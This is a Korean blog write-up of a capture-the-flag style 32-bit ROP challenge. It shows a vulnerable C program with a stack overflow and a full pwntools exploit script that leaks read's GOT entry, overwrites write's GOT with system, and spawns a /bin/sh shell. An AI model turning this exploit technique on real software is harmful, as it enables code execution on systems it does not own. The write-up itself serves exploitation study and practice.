728x90
int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

main함수에서 buf의 크기보다 많이 읽고있고, NX가 걸려있습니다. 또한, 다른 함수는 주어지지 않았어요. 그러면 ROP로 풀어봅시다!

 

1. 함수 파악

ssize_t write (int fd, const void *buf, size_t nbytes);

write함수의 원형입니다. 파일의 데이터를 출력시키는 함수이고, buf에 있는 데이터를 출력시킵니다.

 

ssize_t read (int fd, void *buf, size_t nbytes);

read함수의 원형입니다. 파일의 데이터를 입력받는 함수이고, buf에 데이터를 저장합니다.

 

2. 풀이 방향

우선 system함수는 lib함수이기에 ASLR이 걸려있습니다. 주소를 모른다는거죠. 따라서 다른 함수의 주소를 구해 offset을 이용한 함수 주소를 구해줘야 합니다.

위의 문제에선 read함수가 처음으로 호출되므로 read함수의 got를 가져올 수 있습니다. 

(어떤 함수의 plt는 해당 함수의 got에 있는 주소를 참고해 이동하는데, 한번 이상 실행된 함수의 got만이 실제 주소를 가지고 있습니다. 한번 미만으로 실행된 함수는 다른 과정을 한번 걸쳐서 주소를 로드하는데, 지금은 그냥 넘어갑니다.)

 

1) write함수는 데이터를 출력시키므로, 해당 함수를 통해 read_got를 출력시킵니다. 

2) offset을 구했다면, 문자열 '/bin/sh\x00"을 어떠한 영역인 bss에 넣어줍니다.

3) write_got 값에 system함수의 주소를 넣어줍니다. 그럼 write함수를 실행시키면 실제론 system함수가 실행되겠죠.

4) 이제 write함수를 실행시키고, /bin/sh값이 들어있는 bss를 보내주면, 완성입니다!

 

3. 준비물

read_plt (.plt['read'])

read_got (.got['read'])

write_plt(.plt['read'])

write_got(.got['write'])

libc 의 system, read 함수 주소 (libc안에서의 offset을 구하기 위함)

bss주소

pop; pop; pop; ret gadget 주소 (read, write함수의 인자가 3개이므로)

 

4. 풀이

from pwn import *
p = process("./rop_32bit")
elf = ELF("./rop_32bit")
#libc = ELF("./libc.so.6")

#준비물
read_got = elf.got['read']
read_plt = elf.plt['read']
write_got = elf.got['write']
write_plt = elf.plt['write']
pppr =  0x8048689
bss =   0x0804a040
system_offset = elf.libc.symbols['read'] - elf.libc.symbols['system']
#해당 구문은 로컬에서 진행해서 따로 libc로 풀이하지 않았습니당 서버면 앞의 elf.을 지워야해요!

##############################################################################
payload = "a"*0x48 
#buf + sfp 값입니다

payload += p32(write_plt) + p32(pppr) + p32(1) + p32(read_got) + p32(4)

#1. 'read'함수의 주소를 출력합니다 

payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8)

#2. 사용자의 input을 bss에 저장합니다.

payload += p32(read_plt) + p32(pppr) + p32(0) + p32(write_got) + p32(4)

#3. 사용자의 input을 write_got에 저장합니다

payload += p32(write_plt) + "a"*4 + p32(bss)

#write함수를 실행시키고, exit()을 덮은 후 bss를 넣어줍니다
#write_plt >> system, bss >> bin/sh
#so system('/bin/sh\x00') , "a"*4 skips exit()

##############################################################################

p.send(payload)

sleep(1)
#계산할 시간을 줍시다

read_addr = u32(p.recv()[-4:])
system_addr = read_addr - system_offset

p.send('/bin/sh\x00')
#2번의 input입니다. bss에 저장되는 값
p.send(p32(system_addr))
#3번의 input입니다. write_got에 저장되는 값

p.interactive()

넵 끝났습니다!

 

+) 제가 어떤 libc를 쓰는지 문제풀다가 알았군요... m

728x90

'pwnable' 카테고리의 다른 글

one_gadget  (0) 2021.04.01
ROP(64bit)  (0) 2021.03.31
ROP에 대하여  (0) 2021.03.30
보호기법  (0) 2020.11.15
5  (0) 2020.10.16

+ Recent posts